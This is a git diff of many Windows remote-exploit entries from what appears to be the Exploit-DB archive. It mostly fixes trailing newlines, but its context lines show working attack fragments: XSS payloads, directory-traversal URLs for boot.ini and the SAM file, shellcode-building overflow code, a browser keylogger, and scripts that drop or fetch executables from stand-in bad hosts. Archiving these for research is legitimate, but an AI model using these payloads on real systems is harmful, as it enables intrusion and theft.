a/platforms/windows/remote/23149.txt b/platforms/windows/remote/23149.txt index 91b163949..ab36810d7 100755 --- a/platforms/windows/remote/23149.txt +++ b/platforms/windows/remote/23149.txt @@ -7,4 +7,4 @@ A remote attacker may exploit this issue by enticing a target user to follow a m It should be noted that although this vulnerability has been reported to affect Nokia Electronic Documentation version 5.0, previous versions might also be affected. -http://www.example.com/docs/<script>alert('@stake');</script> \ No newline at end of file +http://www.example.com/docs/<script>alert('@stake');</script> \ No newline at end of file diff --git a/platforms/windows/remote/23152.txt b/platforms/windows/remote/23152.txt index 2ff2eed25..411c6d5d4 100755 --- a/platforms/windows/remote/23152.txt +++ b/platforms/windows/remote/23152.txt @@ -8,4 +8,4 @@ classid="CLSID:E504EE6E-47C6-11D5-B8AB-00D0B78F3D48" > </object> <script> yahoowebcam.TargetName="longstringhere"; -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/23157.txt b/platforms/windows/remote/23157.txt index 81c56a42b..0fad52212 100755 --- a/platforms/windows/remote/23157.txt +++ b/platforms/windows/remote/23157.txt @@ -6,4 +6,4 @@ Successful exploitation of this vulnerablity may allow a remote attacker to gain http://www.example.com/../../existing_file http://www.example.com\..\..\existing_file -http://www.example.com/../../ [show the files and the folders in C drive - if the 'Show Directory list when homepage does not exist' option is active.] \ No newline at end of file +http://www.example.com/../../ [show the files and the folders in C drive - if the 'Show Directory list when homepage does not exist' option is active.] \ No newline at end of file diff --git a/platforms/windows/remote/23185.txt b/platforms/windows/remote/23185.txt index 55d6691fa..3ac2956cd 100755 --- a/platforms/windows/remote/23185.txt +++ b/platforms/windows/remote/23185.txt @@ -4,4 +4,4 @@ A problem with the handling of directory traversal requests has been identified http://www.example.com/mail/m602cl3w.exe?A=GetFile&USER=7921604D7A587937986E24242C0588&DL=0&FN=../../../boot.ini -where USER signifies the current webmail user's username. \ No newline at end of file +where USER signifies the current webmail user's username. \ No newline at end of file diff --git a/platforms/windows/remote/23209.txt b/platforms/windows/remote/23209.txt index 03606c586..e4e51820f 100755 --- a/platforms/windows/remote/23209.txt +++ b/platforms/windows/remote/23209.txt @@ -7,4 +7,4 @@ This vulnerability may be successfully exploited to gain sensitive information a MPWeb PRO version 1.1.2 has been reported to be affected by this issue, however other versions may be vulnerable as well. http://www.example.com/./../mpweb.ini -http://www.example.com/./.././.././../winnt/repair/sam \ No newline at end of file +http://www.example.com/./.././.././../winnt/repair/sam \ No newline at end of file diff --git a/platforms/windows/remote/23222.txt b/platforms/windows/remote/23222.txt index 88fd5d24e..d6e8f9669 100755 --- a/platforms/windows/remote/23222.txt +++ b/platforms/windows/remote/23222.txt @@ -17,4 +17,4 @@ Name Size Date Description Author 20030905.txt 1KB 2003-09-05 09:13:28 none none 20030908.txt 4KB 2003-09-08 12:32:22 none none -http://www.example.com/option.ini \ No newline at end of file +http://www.example.com/option.ini \ No newline at end of file diff --git a/platforms/windows/remote/23265.txt b/platforms/windows/remote/23265.txt index 6cc810e7d..7fb8b626a 100755 --- a/platforms/windows/remote/23265.txt +++ b/platforms/windows/remote/23265.txt @@ -77,4 +77,4 @@ Marc (marc@org.illegalaccess) <applet codebase=. code=ReadApplet.class width=100 height=100> </applet> </BODY> -</HTML> \ No newline at end of file +</HTML> \ No newline at end of file diff --git a/platforms/windows/remote/23270.java b/platforms/windows/remote/23270.java index 4c7e461e6..54bf8bd91 100755 --- a/platforms/windows/remote/23270.java +++ b/platforms/windows/remote/23270.java @@ -27,4 +27,4 @@ System.out.println("Java Floppy Stress Testing Applet, (2003) www.illegalaccess.org"); } } -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/remote/23298.txt b/platforms/windows/remote/23298.txt index 67e2779d5..26093caa2 100755 --- a/platforms/windows/remote/23298.txt +++ b/platforms/windows/remote/23298.txt @@ -7,4 +7,4 @@ This issue is reported to affect versions of the player for Microsoft Windows op This issue affects versions of the player prior to 7.0.19.0. ftp://%@/../../../../Application Data/Macromedia/Flash -Player/YOURDOMAINNAME.TLD\YOURDOMAINNAME.sol \ No newline at end of file +Player/YOURDOMAINNAME.TLD\YOURDOMAINNAME.sol \ No newline at end of file diff --git a/platforms/windows/remote/23373.html b/platforms/windows/remote/23373.html index 2894c2d67..e671b78f2 100755 --- a/platforms/windows/remote/23373.html +++ b/platforms/windows/remote/23373.html @@ -57,4 +57,4 @@ dropped file. In this // case, it is skin.htm. </body> ----------------END SKIN.HTM---------------- \ No newline at end of file +---------------END SKIN.HTM---------------- \ No newline at end of file diff --git a/platforms/windows/remote/23387.txt b/platforms/windows/remote/23387.txt index 6afb005b4..b2b62f043 100755 --- a/platforms/windows/remote/23387.txt +++ b/platforms/windows/remote/23387.txt @@ -4,4 +4,4 @@ It has been reported that NetServe may be prone to a directory traversal vulnera NetServe Web Server version 1.0.7 is reported to be prone to this issue, however other versions may be affected as well. -http://www.example.com/../test/test.txt \ No newline at end of file +http://www.example.com/../test/test.txt \ No newline at end of file diff --git a/platforms/windows/remote/23411.txt b/platforms/windows/remote/23411.txt index e1112f9d5..a0cb496b0 100755 --- a/platforms/windows/remote/23411.txt +++ b/platforms/windows/remote/23411.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9149/info Websense Enterprise displays error pages for blocked sites without sufficiently sanitizing HTML and script code from the blocked site URI. This could allow for cross-site scripting attacks if a victim user visits a link to a blocked site that includes hostile HTML and script code. Exploitation could permit theft of cookie-based authentication credentials or other consequences. -http://[BlockedSite]?<SCRIPT>alert('hello')</SCRIPT> \ No newline at end of file +http://[BlockedSite]?<SCRIPT>alert('hello')</SCRIPT> \ No newline at end of file diff --git a/platforms/windows/remote/23419.txt b/platforms/windows/remote/23419.txt index 858ef8f7f..591529e55 100755 --- a/platforms/windows/remote/23419.txt +++ b/platforms/windows/remote/23419.txt @@ -6,4 +6,4 @@ Abyss Web Server versions prior to 1.2 have been reported prone to this issue. http://www.example.com/protected_FAT32_dir. http://www.example.com/protected_FAT32_dir./ -http://www.example.com/protected_FAT32_dir%2e \ No newline at end of file +http://www.example.com/protected_FAT32_dir%2e \ No newline at end of file diff --git a/platforms/windows/remote/23446.txt b/platforms/windows/remote/23446.txt index b829b282b..d9f7c2469 100755 --- a/platforms/windows/remote/23446.txt +++ b/platforms/windows/remote/23446.txt @@ -10,4 +10,4 @@ http://www.example.com/asp.asp%00 http://www.example.com/asp.asp%2f http://www.example.com/asp.asp%5c http://www.example.com/asp.asp/ -http://www.example.com/asp.asp \ No newline at end of file +http://www.example.com/asp.asp \ No newline at end of file diff --git a/platforms/windows/remote/23450.txt b/platforms/windows/remote/23450.txt index 3fc182174..285538701 100755 --- a/platforms/windows/remote/23450.txt +++ b/platforms/windows/remote/23450.txt @@ -5,4 +5,4 @@ It has been reported that Active Webcam webserver may be prone to a directory tr Active Webcam webserver versions 4.3 and prior released before December 17, 2003 are reported to be prone to this issue. http://www.example.com/../../../windows/system.ini -http://www.example.com/..\..\..\windows/system.ini \ No newline at end of file +http://www.example.com/..\..\..\windows/system.ini \ No newline at end of file diff --git a/platforms/windows/remote/23451.txt b/platforms/windows/remote/23451.txt index 96cc73ed1..08c4f2068 100755 --- a/platforms/windows/remote/23451.txt +++ b/platforms/windows/remote/23451.txt @@ -4,4 +4,4 @@ A vulnerability has been reported to be present in the software that may allow a It has been reported that the problem arises when the software returns an error message to the user that may contain unsanitized data. The script code would run in the context of the user running the vulnerable software. -http://www.example.com:8080/<script>alert('XSS example');</script> \ No newline at end of file +http://www.example.com:8080/<script>alert('XSS example');</script> \ No newline at end of file diff --git a/platforms/windows/remote/23461.txt b/platforms/windows/remote/23461.txt index 0b1739198..c37fa624f 100755 --- a/platforms/windows/remote/23461.txt +++ b/platforms/windows/remote/23461.txt @@ -5,4 +5,4 @@ It has been reported that the Personal Web Server of DCAM WebCam Server may be p DCAM WebCam server versions 8.2.5 and prior are reported to be prone to this issue. http://www.example.com/.\.\.\.\/windows/system.ini -http://www.example.com/.\.\.\.\.\.\.\.\.\.\/windows/system.ini \ No newline at end of file +http://www.example.com/.\.\.\.\.\.\.\.\.\.\/windows/system.ini \ No newline at end of file diff --git a/platforms/windows/remote/23465.txt b/platforms/windows/remote/23465.txt index 44f6ad01b..90c1974f2 100755 --- a/platforms/windows/remote/23465.txt +++ b/platforms/windows/remote/23465.txt @@ -8,4 +8,4 @@ http://www.example.com%C0%AFfake_path%C0%AFfake_filename%C0%AEhtml%C0%80@www.exa http://www.example.com/fake_path/fake_filename.html ftp://ftp.example.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@malicious_server/ow32enen723.exe -ftp://ftp.example.com/pub/opera/win/723/en/std/ow32enen723.exe \ No newline at end of file +ftp://ftp.example.com/pub/opera/win/723/en/std/ow32enen723.exe \ No newline at end of file diff --git a/platforms/windows/remote/23490.txt b/platforms/windows/remote/23490.txt index 20eabc807..915363b1b 100755 --- a/platforms/windows/remote/23490.txt +++ b/platforms/windows/remote/23490.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9313/info A vulnerability has been reported to affect Microsoft IIS. It has been reported that IIS fails to log HTTP TRACK calls made to the affected server. A remote attacker may exploit this condition in order to enumerate server banners. -TRACK / HTTP/1.0 [\r\r] \ No newline at end of file +TRACK / HTTP/1.0 [\r\r] \ No newline at end of file diff --git a/platforms/windows/remote/23503.txt b/platforms/windows/remote/23503.txt index e791017ba..64f1c0db8 100755 --- a/platforms/windows/remote/23503.txt +++ b/platforms/windows/remote/23503.txt @@ -25,4 +25,4 @@ Host: AnyHostWillDo Cookie: login=0 --------------------------------------------------------------------------- \ No newline at end of file +-------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/windows/remote/23596.txt b/platforms/windows/remote/23596.txt index 9dec0b743..b62a91513 100755 --- a/platforms/windows/remote/23596.txt +++ b/platforms/windows/remote/23596.txt @@ -8,4 +8,4 @@ A denial of service issue exists due to the failure of the server to check input A cross-site scripting issue is also present in the server. This could allow for theft of cookie-based authentication credentials or other attacks. -http://[host]/<script>alert("Test")</script> \ No newline at end of file +http://[host]/<script>alert("Test")</script> \ No newline at end of file diff --git a/platforms/windows/remote/23597.txt b/platforms/windows/remote/23597.txt index 0ce9a174f..26a565acb 100755 --- a/platforms/windows/remote/23597.txt +++ b/platforms/windows/remote/23597.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/9486/info A vulnerability in Borland Web Server for Corel Paradox has been reported that may allow a remote attacker to view files residing outside of the web server root directory on the affected system. http://<host>/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini -http://<host>/..................../autoexec.bat \ No newline at end of file +http://<host>/..................../autoexec.bat \ No newline at end of file diff --git a/platforms/windows/remote/23608.pl b/platforms/windows/remote/23608.pl index 28b9efaa8..33b7bd943 100755 --- a/platforms/windows/remote/23608.pl +++ b/platforms/windows/remote/23608.pl @@ -49,7 +49,7 @@ $ebp = "BBBB"; $eip = "\x3B\x58\x01\x10"; -$bad = "GET ftp://www.noserver/" . "\x90"x33 . $shellcode . "a"x190 . +$bad = "GET ftp://www.nosite.com/" . "\x90"x33 . $shellcode . "a"x190 . $ebp . $eip . $nops . $subcode . $pad . "\x20HTTP/1.1\r\n\r\n"; print $victim $bad; diff --git a/platforms/windows/remote/23612.txt b/platforms/windows/remote/23612.txt index 9abe49572..e508fdb53 100755 --- a/platforms/windows/remote/23612.txt +++ b/platforms/windows/remote/23612.txt @@ -6,4 +6,4 @@ Successful exploitation could permit theft of cookie-based authentication creden This issue was reported in BRS WebWeaver 1.07. Earlier versions may also be affected. -http://www.example.com/scripts/ISAPISkeleton.dll?<script>alert("Ooops!")</script> \ No newline at end of file +http://www.example.com/scripts/ISAPISkeleton.dll?<script>alert("Ooops!")</script> \ No newline at end of file diff --git a/platforms/windows/remote/23632.txt b/platforms/windows/remote/23632.txt index 30ca71ec7..0083a87ee 100755 --- a/platforms/windows/remote/23632.txt +++ b/platforms/windows/remote/23632.txt @@ -5,4 +5,4 @@ A vulnerability has been reported in the Crob FTP server, which occurs due to a You can read all directories on the system with the following command: -dir ../../../../../* \ No newline at end of file +dir ../../../../../* \ No newline at end of file diff --git a/platforms/windows/remote/23730.txt b/platforms/windows/remote/23730.txt index 0721a0a0d..8f2eaa28d 100755 --- a/platforms/windows/remote/23730.txt +++ b/platforms/windows/remote/23730.txt @@ -13,4 +13,4 @@ l.Path = "mshta.exe" l.Arguments ="http://www.example.com" l.Save("C:\\paint.lnk"); ok.Open("C:\\paint.lnk"); -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/23766.html b/platforms/windows/remote/23766.html index 40536638a..7e300b5c0 100755 --- a/platforms/windows/remote/23766.html +++ b/platforms/windows/remote/23766.html @@ -17,4 +17,4 @@ window.status = keylog += String.fromCharCode(k) + '[' + k +']'; <frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*"> <frame src="http://www.example.com" scrolling="auto"> </frameset> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/windows/remote/23903.html b/platforms/windows/remote/23903.html index 8e5d69c94..eb960f5df 100755 --- a/platforms/windows/remote/23903.html +++ b/platforms/windows/remote/23903.html @@ -21,4 +21,4 @@ value=http://www.example.com> <form action="http://www.malicious.com/" method="get"> <a href="http://www.example.com/"><input type="image" src="http://images.example.com/title.gif"></a> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/windows/remote/23905.txt b/platforms/windows/remote/23905.txt index c54e2d5d1..c80160b8e 100755 --- a/platforms/windows/remote/23905.txt +++ b/platforms/windows/remote/23905.txt @@ -10,4 +10,4 @@ http://www.example.org:1234/someDirectory%00/ http://www.example.org:1234/someDirectory/%00/ For listing directories outside of the server root (provided by Dr_insane): -http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/ \ No newline at end of file +http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/ \ No newline at end of file diff --git a/platforms/windows/remote/23906.txt b/platforms/windows/remote/23906.txt index 3e286909b..4a9ed5aa2 100755 --- a/platforms/windows/remote/23906.txt +++ b/platforms/windows/remote/23906.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to gain access to arbitrary scripts containe http://www.example.org:1234/someDirectory/fileName%00 The following has been reported to crash the affected server: -http://127.0.0.1:1234/%00/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/ \ No newline at end of file +http://127.0.0.1:1234/%00/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/ \ No newline at end of file diff --git a/platforms/windows/remote/23909.txt b/platforms/windows/remote/23909.txt index aa3764291..71a082b43 100755 --- a/platforms/windows/remote/23909.txt +++ b/platforms/windows/remote/23909.txt @@ -8,4 +8,4 @@ To view a selected file: http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2fboot.ini To list a directory: -http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/ \ No newline at end of file +http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/ \ No newline at end of file diff --git a/platforms/windows/remote/24162.txt b/platforms/windows/remote/24162.txt index b5e63d5c2..7a09d6985 100755 --- a/platforms/windows/remote/24162.txt +++ b/platforms/windows/remote/24162.txt @@ -6,4 +6,4 @@ These issues require an attacker to have administrative privileges, however, it Sambar 6.1 Beta 2 is reported to be prone to these issues, however, it is likely that other versions are affected as well. -http://www.example.com/sysadmin/system/showperf.asp?area=search&title=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/sysadmin/system/showperf.asp?area=search&title=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/windows/remote/24187.txt b/platforms/windows/remote/24187.txt index a086e7464..039d32096 100755 --- a/platforms/windows/remote/24187.txt +++ b/platforms/windows/remote/24187.txt @@ -43,4 +43,4 @@ s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2); -location.href = "mms://"; \ No newline at end of file +location.href = "mms://"; \ No newline at end of file diff --git a/platforms/windows/remote/24249.html b/platforms/windows/remote/24249.html index 4298406cd..0783255e4 100755 --- a/platforms/windows/remote/24249.html +++ b/platforms/windows/remote/24249.html @@ -15,7 +15,7 @@ window.close(); } var actx = new ActiveXObject("WScript.Shell"); actx.RegWrite("HKCR\\exefile\\EditFlags", 256, "REG_BINARY"); -document.writeln("<IFRAME SRC=\"http://www.somebadserver/file.exe\" +document.writeln("<IFRAME SRC=\"http://www.somebadsite.com/file.exe\" ONLOAD=\"throw_onload()\" />"); window.setTimeout("throw_onload()", 5000); // Don't know for sure if IE fires OnLoad for .exe files! Anyone? @@ -38,4 +38,4 @@ document.frames[0].document.body.insertAdjacentHTML('afterBegin', document.all.code.value); } setTimeout("doit()", 2000); -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/24276.txt b/platforms/windows/remote/24276.txt index 46c228180..1f1c238ce 100755 --- a/platforms/windows/remote/24276.txt +++ b/platforms/windows/remote/24276.txt @@ -10,4 +10,4 @@ It should be noted that this issue is reported to exist in all versions of Mozil Update: New reports have stated that the Mozilla Browser is not vulnerable to the first issue as it uses random names for cache directories. This issue does however affect Firefox. It is also reported that an attacker does not have to use a file extension for the second vulnerability as long as a NULL byte is placed after the file name. Arbitrary extensions may be applied as well. -file://C:\\Documents and Settings\\Administrator\\Application Data\\Mozilla\\Firefox\\Profiles\\default.nop\\Cache\\_CACHE_002_%00.html \ No newline at end of file +file://C:\\Documents and Settings\\Administrator\\Application Data\\Mozilla\\Firefox\\Profiles\\default.nop\\Cache\\_CACHE_002_%00.html \ No newline at end of file diff --git a/platforms/windows/remote/24404.txt b/platforms/windows/remote/24404.txt index 7a0b3525b..b44e5c2ba 100755 --- a/platforms/windows/remote/24404.txt +++ b/platforms/windows/remote/24404.txt @@ -6,4 +6,4 @@ It is reported that the Gadu-Gadu instant messenger application contains a weakn This may allow an attacker to send potentially malicious executable files to users who think that they are downloading files that are believed to be harmless. -file.ext%20(220%20kB)%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.exe \ No newline at end of file +file.ext%20(220%20kB)%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.exe \ No newline at end of file diff --git a/platforms/windows/remote/24407.txt b/platforms/windows/remote/24407.txt index b5a2bce90..1ace0ab52 100755 --- a/platforms/windows/remote/24407.txt +++ b/platforms/windows/remote/24407.txt @@ -26,4 +26,4 @@ alert(sLocal+" Exists.\nThen do nothing"); 250 ); } -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/24409.txt b/platforms/windows/remote/24409.txt index a3e9bda72..529849d7f 100755 --- a/platforms/windows/remote/24409.txt +++ b/platforms/windows/remote/24409.txt @@ -4,4 +4,4 @@ BadBlue is prone to a vulnerability that may let the application be abused as a BadBlue Personal Edition versions 2.5 and prior are reportedly affected by this issue. -http://www.example.com/ext.dll?mfcisapicommand=PassThru&url=[Any IP:Any Port]/[Any Command] \ No newline at end of file +http://www.example.com/ext.dll?mfcisapicommand=PassThru&url=[Any IP:Any Port]/[Any Command] \ No newline at end of file diff --git a/platforms/windows/remote/24419.txt b/platforms/windows/remote/24419.txt index 224691cc7..45daeb66d 100755 --- a/platforms/windows/remote/24419.txt +++ b/platforms/windows/remote/24419.txt @@ -11,4 +11,4 @@ The third reported issue is a directory traversal vulnerability. The affected ap These vulnerabilities are reported to exist in version 1.0 of Xedus. http://www.example.com:4274/../data/log.txt -http://www.example.com:4274/../../../../../boot.ini \ No newline at end of file +http://www.example.com:4274/../../../../../boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/24571.html b/platforms/windows/remote/24571.html index cb9c43ad4..c6dafeedd 100755 --- a/platforms/windows/remote/24571.html +++ b/platforms/windows/remote/24571.html @@ -25,4 +25,4 @@ Kylie.AppendFileToPlayList haveIgotthebestbumorwhat If you're bored could also try - -CoAxTrack Class - {B9F3009B-976B-41C4-A992-229DCCF3367C}. \ No newline at end of file +CoAxTrack Class - {B9F3009B-976B-41C4-A992-229DCCF3367C}. \ No newline at end of file diff --git a/platforms/windows/remote/25009.txt b/platforms/windows/remote/25009.txt index 5c7c73f8e..3c2338008 100755 --- a/platforms/windows/remote/25009.txt +++ b/platforms/windows/remote/25009.txt @@ -6,4 +6,4 @@ The input validation issue is an HTML injection vulnerability in the instant mes An attacker may leverage these issues to carry out HTML injection attacks, potentially stealing sensitive information, and to carry out denial of service attacks, denying legitimate users of access to the affected software. -www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl \ No newline at end of file +www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl \ No newline at end of file diff --git a/platforms/windows/remote/25013.txt b/platforms/windows/remote/25013.txt index 21eef3131..e80bb9359 100755 --- a/platforms/windows/remote/25013.txt +++ b/platforms/windows/remote/25013.txt @@ -10,4 +10,4 @@ A local attacker can gain access to a server's administrative password. A server can execute arbitrary applications on a client. -^^#CALL#:CMD.exe \ No newline at end of file +^^#CALL#:CMD.exe \ No newline at end of file diff --git a/platforms/windows/remote/25031.html b/platforms/windows/remote/25031.html index 3b927ee6a..ae43f8dd7 100755 --- a/platforms/windows/remote/25031.html +++ b/platforms/windows/remote/25031.html @@ -53,4 +53,4 @@ alert('Can\'t find winamp default playlist!\nMost probably the winamp is not ins </script> -</body></html> \ No newline at end of file +</body></html> \ No newline at end of file diff --git a/platforms/windows/remote/25092.txt b/platforms/windows/remote/25092.txt index dc9228707..05c729943 100755 --- a/platforms/windows/remote/25092.txt +++ b/platforms/windows/remote/25092.txt @@ -28,4 +28,4 @@ Test File Content-Disposition: form-data; name="ATTACH" Attach ------------------------------287661860715985-- \ No newline at end of file +-----------------------------287661860715985-- \ No newline at end of file diff --git a/platforms/windows/remote/25095.txt b/platforms/windows/remote/25095.txt index 086486c9f..5db91cc8e 100755 --- a/platforms/windows/remote/25095.txt +++ b/platforms/windows/remote/25095.txt @@ -18,4 +18,4 @@ onmouseout='aa=0;chglink.href="vbscript:msgbox(\"Psych!\")";clearInterval(intid) Just a simple one: <a href="http://google.com"><button style="border:0;background-color:white;cursor:hand" onclick='location.assign("vbscript:msgbox(\"Psych!\")")'><font -color="blue">click</font></button></a> \ No newline at end of file +color="blue">click</font></button></a> \ No newline at end of file diff --git a/platforms/windows/remote/25144.txt b/platforms/windows/remote/25144.txt index f353a92f4..e01e2e88e 100755 --- a/platforms/windows/remote/25144.txt +++ b/platforms/windows/remote/25144.txt @@ -4,4 +4,4 @@ A vulnerability has been identified in the handling of certain types of requests Read privileges granted to these files would be restricted by the permissions of the web server process. -http://www.example.com/../../../windows/repair/sam \ No newline at end of file +http://www.example.com/../../../windows/repair/sam \ No newline at end of file diff --git a/platforms/windows/remote/25157.txt b/platforms/windows/remote/25157.txt index adf0aed3c..e0da2e6b5 100755 --- a/platforms/windows/remote/25157.txt +++ b/platforms/windows/remote/25157.txt @@ -10,4 +10,4 @@ classid="clsid:{DE4735F3-7532-4895-93DC-9A10C4257173}"></object> ctl.initsink "C:\autoexec.bat" ctl.addstring "echo Drive formatted? ", "" ctl.deinitsink -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/25163.txt b/platforms/windows/remote/25163.txt index e30635e64..14589f3be 100755 --- a/platforms/windows/remote/25163.txt +++ b/platforms/windows/remote/25163.txt @@ -4,4 +4,4 @@ A vulnerability has been identified in the handling of certain types of requests The problem is in the handling of directory traversal strings. This issue could be exploited to gain read access to files on a host using the vulnerable software. -http://www.example.com/../../../windows/repair/sam \ No newline at end of file +http://www.example.com/../../../windows/repair/sam \ No newline at end of file diff --git a/platforms/windows/remote/25187.txt b/platforms/windows/remote/25187.txt index 439efda58..8043ac3f6 100755 --- a/platforms/windows/remote/25187.txt +++ b/platforms/windows/remote/25187.txt @@ -4,4 +4,4 @@ CProxy is reported prone to a remote directory traversal vulnerability. This iss It is reported that an attacker can simply issue an HTTP GET request including directory traversal sequences to carry out this attack. -GET http://../../[file] HTTP/1.0 \ No newline at end of file +GET http://../../[file] HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/25188.txt b/platforms/windows/remote/25188.txt index 6a0f8532f..0867919ed 100755 --- a/platforms/windows/remote/25188.txt +++ b/platforms/windows/remote/25188.txt @@ -154,4 +154,4 @@ action="http://www.example.com/cgi-bin/ask2.cgi"> <input type=submit value="Upload" onclick="document.XA.XB.value=document.XA.RFC1867.value;return true" > </form> -- --------------------------- \ No newline at end of file +- --------------------------- \ No newline at end of file diff --git a/platforms/windows/remote/25194.txt b/platforms/windows/remote/25194.txt index 4b36ff17c..14a0bf7eb 100755 --- a/platforms/windows/remote/25194.txt +++ b/platforms/windows/remote/25194.txt @@ -8,4 +8,4 @@ Another issue affecting the application may allow remote users to disclose an ad These issues are reported to affect Hosting Controller 6.1 Hotfix 1.7. Other versions are likely to be affected as well. -http://www.example.com/admin/logs/HCDiskQuotaService.csv \ No newline at end of file +http://www.example.com/admin/logs/HCDiskQuotaService.csv \ No newline at end of file diff --git a/platforms/windows/remote/25195.txt b/platforms/windows/remote/25195.txt index 48beeccaa..4b9f18621 100755 --- a/platforms/windows/remote/25195.txt +++ b/platforms/windows/remote/25195.txt @@ -41,4 +41,4 @@ directory referenced by begin UTL_FILE.frename('MEDIA_DIR','\\.\\..\\.\\..\\.\\FileToRename','MEDIA_DIR','\\.\\..\\.\\..\\.\\Unbreakable.txt',TRUE); -end; \ No newline at end of file +end; \ No newline at end of file diff --git a/platforms/windows/remote/25207.txt b/platforms/windows/remote/25207.txt index 560ff5a64..a263d6e37 100755 --- a/platforms/windows/remote/25207.txt +++ b/platforms/windows/remote/25207.txt @@ -20,4 +20,4 @@ A remote attacker may exploit this issue to gain information regarding the files http://www.example.com:8080/Filelist.html http://www.example.com:8080/A:\a.txt -http://www.example.com:8080/a \ No newline at end of file +http://www.example.com:8080/a \ No newline at end of file diff --git a/platforms/windows/remote/25274.html b/platforms/windows/remote/25274.html index aa4a0bf78..0391fcd10 100755 --- a/platforms/windows/remote/25274.html +++ b/platforms/windows/remote/25274.html @@ -24,4 +24,4 @@ window.setInterval('sniff()',100); <body onload="body_onload()"> Information typed in Maxthon's search bar will be displayed here: <input type="text" id="s" value='' readonly="true" /> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/windows/remote/25319.txt b/platforms/windows/remote/25319.txt index 25ed95ee3..286fbe088 100755 --- a/platforms/windows/remote/25319.txt +++ b/platforms/windows/remote/25319.txt @@ -7,4 +7,4 @@ This issue could be exploited to gain read access to files on a host using the v This vulnerability is reported to affect FastStone 4in1 Browser version 1.2, previous versions might also be affected. http://www.example.com/.../.../.../.../.../.../windows/system.ini -http://www.example.com/..\..\..\..\..\..\..\..\windows/system.ini \ No newline at end of file +http://www.example.com/..\..\..\..\..\..\..\..\windows/system.ini \ No newline at end of file diff --git a/platforms/windows/remote/25325.txt b/platforms/windows/remote/25325.txt index 028806a87..ad591e686 100755 --- a/platforms/windows/remote/25325.txt +++ b/platforms/windows/remote/25325.txt @@ -13,4 +13,4 @@ filename = argv[1]; str2ba(argv[2], &bdaddr); channel = (argc > 3) ? atoi(argv[3]) : 10; -The modified obextool client may then be used to push a malicious file to a target computer. \ No newline at end of file +The modified obextool client may then be used to push a malicious file to a target computer. \ No newline at end of file diff --git a/platforms/windows/remote/25336.txt b/platforms/windows/remote/25336.txt index 6ebfba915..6ffbc4ab5 100755 --- a/platforms/windows/remote/25336.txt +++ b/platforms/windows/remote/25336.txt @@ -8,4 +8,4 @@ Information disclosed through this attack may expose sensitive data that may be http://www.example.com/logwebcgi/logwebftbs2000.exe?VAR_FT_LANG=c:\&VAR_FT_TMPL=winnt/win.ini -http://www.example.com/logwebcgi/logwebftbs2000.exe?VAR_FT_LANG=/etc&VAR_FT_TMPL=passwd \ No newline at end of file +http://www.example.com/logwebcgi/logwebftbs2000.exe?VAR_FT_LANG=/etc&VAR_FT_TMPL=passwd \ No newline at end of file diff --git a/platforms/windows/remote/25365.txt b/platforms/windows/remote/25365.txt index 8a5af4b0f..b18f8ef11 100755 --- a/platforms/windows/remote/25365.txt +++ b/platforms/windows/remote/25365.txt @@ -15,4 +15,4 @@ http://www.example.com/a%20HTTP/1.0"%20200%202048%0d%0a255.255.255.255%20-%20-%2 http://www.example.com/%0d%0atype%20cgi-bin%5Ctest.bat To parse a command through 'cmdIS.DLL': -http://www.example.com/scripts/cmdIS.dll/httpd.log \ No newline at end of file +http://www.example.com/scripts/cmdIS.dll/httpd.log \ No newline at end of file diff --git a/platforms/windows/remote/25421.txt b/platforms/windows/remote/25421.txt index eee849174..55e8721d7 100755 --- a/platforms/windows/remote/25421.txt +++ 